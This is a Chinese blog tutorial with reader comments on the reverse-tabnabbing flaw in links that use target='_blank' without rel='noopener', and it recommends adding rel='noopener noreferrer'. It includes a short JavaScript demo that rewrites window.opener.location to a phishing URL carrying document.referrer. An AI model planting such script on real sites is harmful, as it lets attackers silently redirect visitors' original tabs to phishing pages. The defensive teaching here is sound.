如果你使用target="_blank"属性在一个链接上,但是你又没有给它rel="noopener"属性,你正在让你的用户开放非常简单的网络钓鱼攻击。我们运行一个脚本,利用这个问题来通知用户他们来自没有保护他们免受此漏洞的网站。
可能很多人对于target =“_ blank这个漏洞还不是很明白,下面我们即将来实战一下:
1、你可以去任何一个网站留下你的URL,或者你自己本地搭建域名;
由于条件所限,我本地搭建一个二级域名:www.ceshi.com;
我们在index.html里面编辑一段下面这样的代码:
- <a href="http://www.two.com/" target="_blank" >付杰web钓鱼漏洞测试</a>
2、我们继续在本地搭建一个二级域名:www.two.com
在此域名上index.html文件中放入以下这段js代码;
为了告知来自于不受保护的站点的用户,我们运行一个利用了这个缺陷的脚本代码:
- <script type='text/javascript'>
- if (window.opener) {
- window.opener.location = 'http://www.two.com/phishing-referrer='+document.referrer;
- }
- </script>
上面这段代码什么意思我就不多说了,我相信绝大多数站点都没有恰当地处理这个问题;
用IE低版本浏览器测试(例如:IE9):当我们点击第一个域名中这个“付杰web钓鱼漏洞测试”的时候,你会发现出现了新窗口打开出现了死循环对吗?
为什么要用IE浏览器?
因为有的浏览器直接不支持这个opener属性,或者说是浏览器厂商已经做了相应的措施;甚至是电脑上装有杀毒安全软件,你看不到这样的效果;
HTML DOM opener 属性
定义和用法
opener 属性是一个可读可写的属性,可返回对创建该窗口的 Window 对象的引用。
opener 属性非常有用,创建的窗口可以引用创建它的窗口所定义的属性和函数。
语法
window.opener
提示和注释
注释:只有表示顶层窗口的 Window 对象的 operner 属性才有效,表示框架的 Window 对象的 operner 属性无效。
HTML DOM referrer 属性
定义和用法
referrer 属性可返回载入当前文档的文档的 URL。
语法
document.referrer
说明
如果当前文档不是通过超级链接访问的,则为 null。这个属性允许客户端 JavaScript 访问 HTTP 引用头部。
rel="nofollow me noopener noreferrer"什么意思?
rel="nofollow me noopener noreferrer"可以拆为两部份;rel="noopener noreferrer" 和 rel="nofollow";
rel="noopener noreferrer"是指HTML DOM opener属性和referrer属性无效;
rel="nofollow"是指告诉搜索引擎"不要追踪此网页上的链接或不要追踪此特定链接"。
提示:rel="nofollow"主要是针对SEO的,如果你想让这链接被搜索引擎攫取,直接用rel="noopener noreferrer"即可!
从这个问题博主悟出了几个小道理:
1、漏洞本身我们在写程序的时候是可以自己防止的,像此文章的漏洞,我们可以在开发程序的时候给任何一个新窗口打开的链接都自动增加:rel="noopener noreferrer"属性;
2、因为此漏洞主要是针对WEB的,WEB主要是用浏览器来访问的,浏览器厂商自然也会防止这样的漏洞从而来提高自己浏览器的用户体验;
3、安全软件,像腾讯管家,如果你用此文章的代码去做恶作剧,电脑上安装有腾讯管家,你打开不会出现死循环的,因为当窗口打开到几个的时候会弹出一个“电脑管家,广告过滤,一键开启“的提示;
因此:做为一个程序员,永远不要说你写的代码是没有漏洞的,不是没有漏洞,而是其它人已经帮助你防止了这种漏洞,像以前的facebook同样也是存在这种漏洞的,现在已经不存在了,因为它给每一个URL链接都加上了rel="noopener noreferrer"属性;
永远也不要觉得大网站就没有漏洞,就多么的高大上!
2018年01月03日 00:04:56 沙发
感谢博主的耐心讲解
2017年06月23日 00:07:00 板凳
居然还有这样的漏洞,虽然看了我还是不太明白,但是至少了解了!可以和大家吹吹牛逼去。